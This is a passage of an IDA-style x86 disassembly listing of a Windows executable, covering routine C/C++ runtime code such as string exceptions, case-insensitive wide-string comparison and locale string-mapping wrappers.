mov ecx, [ebp+arg_0]
loc_42640F: ; CODE XREF: sub_4263F1+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_426452
movzx edx, al
test byte_4DC7E1[edx], 4
jz short loc_42643E
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_426449
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_42644D
jmp short loc_426446
; ---------------------------------------------------------------------------
loc_42643E: ; CODE XREF: sub_4263F1+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_426452
loc_426446: ; CODE XREF: sub_4263F1+4Bj
inc ecx
jmp short loc_42640F
; ---------------------------------------------------------------------------
loc_426449: ; CODE XREF: sub_4263F1+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42644D: ; CODE XREF: sub_4263F1+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426452: ; CODE XREF: sub_4263F1+25j
; sub_4263F1+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_4263F1 endp
; =============== S U B R O U T I N E =======================================
sub_426464 proc near ; CODE XREF: sub_417EEE+21p
; sub_42638A+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_42648B
push esi
call sub_41AFE0
inc eax
push eax
call sub_41B4D5
pop ecx
test eax, eax
pop ecx
jz short loc_42648B
push esi
push eax
call sub_41BEB0
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42648B: ; CODE XREF: sub_426464+7j
; sub_426464+1Aj
xor eax, eax
pop esi
retn
sub_426464 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426490 proc near ; CODE XREF: sub_426573+19p
; sub_42669A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_41AFE0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40D6EF
mov eax, esi
pop esi
retn 8
sub_426490 endp
; =============== S U B R O U T I N E =======================================
sub_4264BA proc near ; CODE XREF: ___:004264E5p
; sub_426568+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_40D6B3
mov ecx, esi
pop esi
jmp sub_4268B6
sub_4264BA endp
; =============== S U B R O U T I N E =======================================
sub_4264D5 proc near ; DATA XREF: ___:00427D10o
; ___:00427D20o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4264E1
mov eax, offset dword_4276A8
locret_4264E1: ; CODE XREF: sub_4264D5+5j
retn
sub_4264D5 endp
; ---------------------------------------------------------------------------
loc_4264E2: ; DATA XREF: ___:off_427D0Co
push esi
mov esi, ecx
call sub_4264BA
test byte ptr [esp+8], 1
jz short loc_4264F8
push esi
call sub_41CC83
pop ecx
loc_4264F8: ; CODE XREF: ___:004264EFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4264FE proc near ; CODE XREF: sub_426573+29p
mov eax, offset loc_426E32
call sub_41CC64
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427D28
call sub_42682F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_4265B0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427D1C
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4264FE endp
; =============== S U B R O U T I N E =======================================
sub_42654C proc near ; DATA XREF: ___:off_427D1Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426568
test [esp+4+arg_0], 1
jz short loc_426562
push esi
call sub_41CC83
pop ecx
loc_426562: ; CODE XREF: sub_42654C+Dj
mov eax, esi
pop esi
retn 4
sub_42654C endp
; =============== S U B R O U T I N E =======================================
sub_426568 proc near ; CODE XREF: sub_42654C+3p
; DATA XREF: ___:00428094o
mov dword ptr [ecx], offset off_427D1C
jmp sub_4264BA
sub_426568 endp
; =============== S U B R O U T I N E =======================================
sub_426573 proc near ; CODE XREF: sub_40D560+13p
; sub_40D724+Ep
mov eax, offset loc_426E44
call sub_41CC64
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_426490
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4264FE
push offset dword_428090
lea eax, [ebp-3Ch]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
sub_426573 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p
; sub_4265D0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_40D560
mov eax, esi
pop esi
retn 4
sub_4265B0 endp
; =============== S U B R O U T I N E =======================================
sub_4265D0 proc near ; CODE XREF: sub_42669A+29p
mov eax, offset loc_426E56
call sub_41CC64
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427D28
call sub_42682F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_4265B0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4265D0 endp
; =============== S U B R O U T I N E =======================================
sub_426618 proc near ; CODE XREF: sub_426682+7p
; sub_4266DE+7p ...
mov eax, offset loc_426E68
call sub_41CC64
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_42686C
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_4265B0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426618 endp
; =============== S U B R O U T I N E =======================================
sub_42665B proc near ; DATA XREF: ___:off_427D48o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426677
test [esp+4+arg_0], 1
jz short loc_426671
push esi
call sub_41CC83
pop ecx
loc_426671: ; CODE XREF: sub_42665B+Dj
mov eax, esi
pop esi
retn 4
sub_42665B endp
; =============== S U B R O U T I N E =======================================
sub_426677 proc near ; CODE XREF: sub_42665B+3p
; DATA XREF: ___:0042813Co
mov dword ptr [ecx], offset off_427D48
jmp sub_4264BA
sub_426677 endp
; =============== S U B R O U T I N E =======================================
sub_426682 proc near ; CODE XREF: sub_4266F6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426618
mov dword ptr [esi], offset off_427D1C
mov eax, esi
pop esi
retn 4
sub_426682 endp
; =============== S U B R O U T I N E =======================================
sub_42669A proc near ; CODE XREF: sub_40D4B0+15p
; sub_40D509+15p ...
mov eax, offset loc_426E7A
call sub_41CC64
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_426490
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4265D0
push offset dword_428138
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_427D48
call sub_4268D9
int 3 ; Trap to Debugger
sub_42669A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4266DE proc near ; CODE XREF: sub_4266F6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426618
mov dword ptr [esi], offset off_427D48
mov eax, esi
pop esi
retn 4
sub_4266DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4266F6 proc near ; DATA XREF: ___:00427D14o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426618
push offset dword_428178
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
loc_426714: ; DATA XREF: ___:00427D50o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4266DE
push offset dword_428138
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
loc_426732: ; DATA XREF: ___:00427D24o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426682
push offset dword_428090
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
sub_4266F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_426750 proc near
jmp near ptr 71B2ACCBh
sub_426750 endp
; ---------------------------------------------------------------------------
db 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep
; ___:00414BE5p ...
nop
jmp near ptr 71AB1B7Bh
sub_426756 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42675C proc near ; CODE XREF: sub_41C8D0+23p
; sub_41CB74+13p
nop
jmp near ptr 2850000h
sub_42675C endp
; =============== S U B R O U T I N E =======================================
sub_426762 proc near ; CODE XREF: sub_417275+E2p
; sub_417275+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4DB334, 0
push ebx
jnz short loc_4267A8
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_426774: ; CODE XREF: sub_426762+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426786
cmp bx, 41h
jb short loc_426786
add ebx, 20h
loc_426786: ; CODE XREF: sub_426762+19j
; sub_426762+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_426798
cmp ax, 41h
jb short loc_426798
add eax, 20h
loc_426798: ; CODE XREF: sub_426762+2Bj
; sub_426762+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_4267D8
cmp bx, ax
jz short loc_426774
jmp short loc_4267D8
; ---------------------------------------------------------------------------
loc_4267A8: ; CODE XREF: sub_426762+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_4267B2: ; CODE XREF: sub_426762+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_426913
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_426913
pop ecx
test bx, bx
pop ecx
jz short loc_4267D6
cmp bx, ax
jz short loc_4267B2
loc_4267D6: ; CODE XREF: sub_426762+6Dj
pop edi
pop esi
loc_4267D8: ; CODE XREF: sub_426762+3Dj
; sub_426762+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_426762 endp
; =============== S U B R O U T I N E =======================================
sub_4267E2 proc near ; CODE XREF: ___:004267FAp
mov dword ptr [ecx], offset off_427D68
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4267F6
push ecx
call sub_41B0B1
pop ecx
locret_4267F6: ; CODE XREF: sub_4267E2+Bj
retn
sub_4267E2 endp
; ---------------------------------------------------------------------------
loc_4267F7: ; DATA XREF: ___:off_427D68o
push esi
mov esi, ecx
call sub_4267E2
test byte ptr [esp+8], 1
jz short loc_42680D
push esi
call sub_41CC83
pop ecx
loc_42680D: ; CODE XREF: ___:00426804j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_426813: ; DATA XREF: ___:off_427D70o
push esi
mov esi, ecx
call sub_4268B6
test byte ptr [esp+8], 1
jz short loc_426829
push esi
call sub_41CC83
pop ecx
loc_426829: ; CODE XREF: ___:00426820j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp
; sub_4265D0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D70
push dword ptr [edi]
call sub_41AFE0
inc eax
push eax
call sub_41CFC5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42685E
push dword ptr [edi]
push eax
call sub_41BEB0
pop ecx
pop ecx
loc_42685E: ; CODE XREF: sub_42682F+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_42682F endp
; =============== S U B R O U T I N E =======================================
sub_42686C proc near ; CODE XREF: sub_426618+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D70
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_4268A9
push dword ptr [edi+4]
call sub_41AFE0
inc eax
push eax
call sub_41CFC5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_4268AF
push dword ptr [edi+4]
push eax
call sub_41BEB0
pop ecx
pop ecx
jmp short loc_4268AF
; ---------------------------------------------------------------------------
loc_4268A9: ; CODE XREF: sub_42686C+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_4268AF: ; CODE XREF: sub_42686C+2Ej
; sub_42686C+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42686C endp
; =============== S U B R O U T I N E =======================================
sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j
; ___:00426816p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427D70
jz short locret_4268CB
push dword ptr [ecx+4]
call sub_41CC83
pop ecx
locret_4268CB: ; CODE XREF: sub_4268B6+Aj
retn
sub_4268B6 endp
; =============== S U B R O U T I N E =======================================
sub_4268CC proc near ; DATA XREF: ___:00427D74o
mov eax, [ecx+4]
test eax, eax
jnz short locret_4268D8
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_4268D8: ; CODE XREF: sub_4268CC+5j
retn
sub_4268CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268D9 proc near ; CODE XREF: sub_426573+37p
; sub_42669A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_427D90
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
nop
call near ptr 26503EEh
pop edi
pop esi
leave
retn 8
sub_4268D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426913 proc near ; CODE XREF: sub_426762+56p
; sub_426762+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_426925
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_426925: ; CODE XREF: sub_426913+Bj
cmp dword_4DB334, 0
jnz short loc_42693F
cmp ax, 41h
jb short locret_426986
cmp ax, 5Ah
ja short locret_426986
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_42693F: ; CODE XREF: sub_426913+19j
cmp ax, 100h
jnb short loc_426959
push 1
push eax
call sub_426BC1
pop ecx
test eax, eax
pop ecx
jnz short loc_426959
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_426959: ; CODE XREF: sub_426913+30j
; sub_426913+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4DB334
call sub_426988
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_426986
mov ax, [ebp+var_2]
locret_426986: ; CODE XREF: sub_426913+1Fj
; sub_426913+25j ...
leave
retn
sub_426913 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426988 proc near ; CODE XREF: sub_426913+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427DB0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4DB58C, esi
jnz short loc_4269FE
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_427940
mov edi, 100h
push edi
push esi
nop
call near ptr 2640000h
test eax, eax
jz short loc_4269DC
mov dword_4DB58C, ebx
jmp short loc_4269FE
; ---------------------------------------------------------------------------
loc_4269DC: ; CODE XREF: sub_426988+4Aj
push esi
push esi
push ebx
push offset dword_4CAE2C
push edi
push esi
call near ptr 2641092h
nop
test eax, eax
jz loc_426B7D
mov dword_4DB58C, 2
loc_4269FE: ; CODE XREF: sub_426988+2Ej
; sub_426988+52j
cmp [ebp+arg_C], esi
jle short loc_426A13
push [ebp+arg_C]
push [ebp+arg_8]
call sub_426B91
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_426A13: ; CODE XREF: sub_426988+79j
mov eax, dword_4DB58C
cmp eax, 1
jnz short loc_426A3A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2640000h
jmp loc_426B7F
; ---------------------------------------------------------------------------
loc_426A3A: ; CODE XREF: sub_426988+93j
cmp eax, 2
jnz loc_426B7D
cmp [ebp+arg_18], esi
jnz short loc_426A50
mov eax, dword_4DB344
mov [ebp+arg_18], eax
loc_426A50: ; CODE XREF: sub_426988+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 2810000h
mov [ebp+var_20], eax
cmp eax, esi
jz loc_426B7D
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_426A96
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_426A96: ; CODE XREF: sub_426988+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_426B7D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 2810000h
test eax, eax
jz loc_426B7D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2641092h
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_426B7D
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426B19
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_426B19: ; CODE XREF: sub_426988+17Dj
cmp ebx, esi
jz short loc_426B7D
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2641092h
test eax, eax
jz short loc_426B7D
test byte ptr [ebp+arg_4+1], 4
jz short loc_426B57
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_426B79
cmp eax, edi
jl short loc_426B48
mov eax, edi
loc_426B48: ; CODE XREF: sub_426988+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41B5F0
add esp, 0Ch
jmp short loc_426B79
; ---------------------------------------------------------------------------
loc_426B57: ; CODE XREF: sub_426988+1B1j
cmp [ebp+arg_14], esi
jnz short loc_426B60
push esi
push esi
jmp short loc_426B66
; ---------------------------------------------------------------------------
loc_426B60: ; CODE XREF: sub_426988+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_426B66: ; CODE XREF: sub_426988+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
call near ptr 2820000h
nop
mov edi, eax
cmp edi, esi
jz short loc_426B7D
loc_426B79: ; CODE XREF: sub_426988+1B8j
; sub_426988+1CDj
mov eax, edi
jmp short loc_426B7F
; ---------------------------------------------------------------------------
loc_426B7D: ; CODE XREF: sub_426988+66j
; sub_426988+B5j ...
xor eax, eax
loc_426B7F: ; CODE XREF: sub_426988+ADj
; sub_426988+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426988 endp
; =============== S U B R O U T I N E =======================================
sub_426B91 proc near ; CODE XREF: sub_426988+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_426BB0
loc_426BA1: ; CODE XREF: sub_426B91+1Dj
cmp word ptr [eax], 0
jz short loc_426BB0
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_426BA1
loc_426BB0: ; CODE XREF: sub_426B91+Ej
; sub_426B91+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_426BBE
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_426BBE: ; CODE XREF: sub_426B91+24j
mov eax, edx
retn
sub_426B91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426BC1 proc near ; CODE XREF: sub_426913+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_426C01
cmp [ebp+arg_0], 100h
jnb short loc_426BE5
movzx eax, [ebp+arg_0]
mov ecx, off_43C2FC
mov ax, [ecx+eax*2]
jmp short loc_426C08
; ---------------------------------------------------------------------------
loc_426BE5: ; CODE XREF: sub_426BC1+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_426C13
add esp, 18h
test eax, eax
jnz short loc_426C05
loc_426C01: ; CODE XREF: sub_426BC1+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_426C05: ; CODE XREF: sub_426BC1+3Ej
mov eax, [ebp+var_4]
loc_426C08: ; CODE XREF: sub_426BC1+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_426BC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426C13 proc near ; CODE XREF: sub_426BC1+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427DC8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DB590
xor edi, edi
cmp eax, edi
jnz short loc_426C82
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427940
push esi
call near ptr 2600000h
nop
test eax, eax
jz short loc_426C60
mov eax, esi
jmp short loc_426C7D
; ---------------------------------------------------------------------------
loc_426C60: ; CODE XREF: sub_426C13+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CAE2C
push esi
push edi
nop
call near ptr 2610000h
test eax, eax
jz loc_426DC4
push 2
pop eax
loc_426C7D: ; CODE XREF: sub_426C13+4Bj
mov dword_4DB590, eax
loc_426C82: ; CODE XREF: sub_426C13+2Fj
cmp eax, 1
jnz short loc_426C9E
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2600000h
jmp loc_426DC6
; ---------------------------------------------------------------------------
loc_426C9E: ; CODE XREF: sub_426C13+72j
cmp eax, 2
jnz loc_426DC4
cmp [ebp+arg_10], edi
jnz short loc_426CB4
mov eax, dword_4DB344
mov [ebp+arg_10], eax
loc_426CB4: ; CODE XREF: sub_426C13+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 2810000h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_426DC4
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41B590
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426D12
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_426D12: ; CODE XREF: sub_426C13+EAj
cmp [ebp+var_2C], edi
jz loc_426DC4
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 2810000h
test eax, eax
jz loc_426DC4
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_426D67
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_426D67: ; CODE XREF: sub_426C13+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_426DC4
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_426D7B
mov eax, dword_4DB334
loc_426D7B: ; CODE XREF: sub_426C13+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
call near ptr 2610000h
nop
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_426DC4
cmp word ptr [esi], 0FFFFh
jnz short loc_426DC4
push edi
push ebx
push [ebp+arg_C]
call sub_41CC90
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_426DC6
; ---------------------------------------------------------------------------
loc_426DC4: ; CODE XREF: sub_426C13+61j
; sub_426C13+8Ej ...
xor eax, eax
loc_426DC6: ; CODE XREF: sub_426C13+86j
; sub_426C13+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426C13 endp
; =============== S U B R O U T I N E =======================================
sub_426DD8 proc near ; DATA XREF: ___:00427F7Co
; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D4A8
sub_426DD8 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426DF6
mov ecx, [ebp+8]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
locret_426DF6: ; CODE XREF: ___:00426DE8j
retn
; ---------------------------------------------------------------------------
loc_426DF7: ; DATA XREF: sub_40D07Co
mov eax, offset dword_427F50
jmp loc_41C91F
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E0C: ; DATA XREF: ___:00427FACo
lea ecx, [ebp-1Ch]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E14: ; DATA XREF: sub_40D21Eo
mov eax, offset dword_427F80
jmp loc_41C91F
; ---------------------------------------------------------------------------
align 10h
loc_426E20: ; DATA XREF: sub_40D78Bo
mov eax, offset dword_427FB0
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E32: ; DATA XREF: sub_4264FEo
mov eax, offset dword_428010
jmp loc_41C91F
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E44: ; DATA XREF: sub_426573o
mov eax, offset dword_4280A8
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
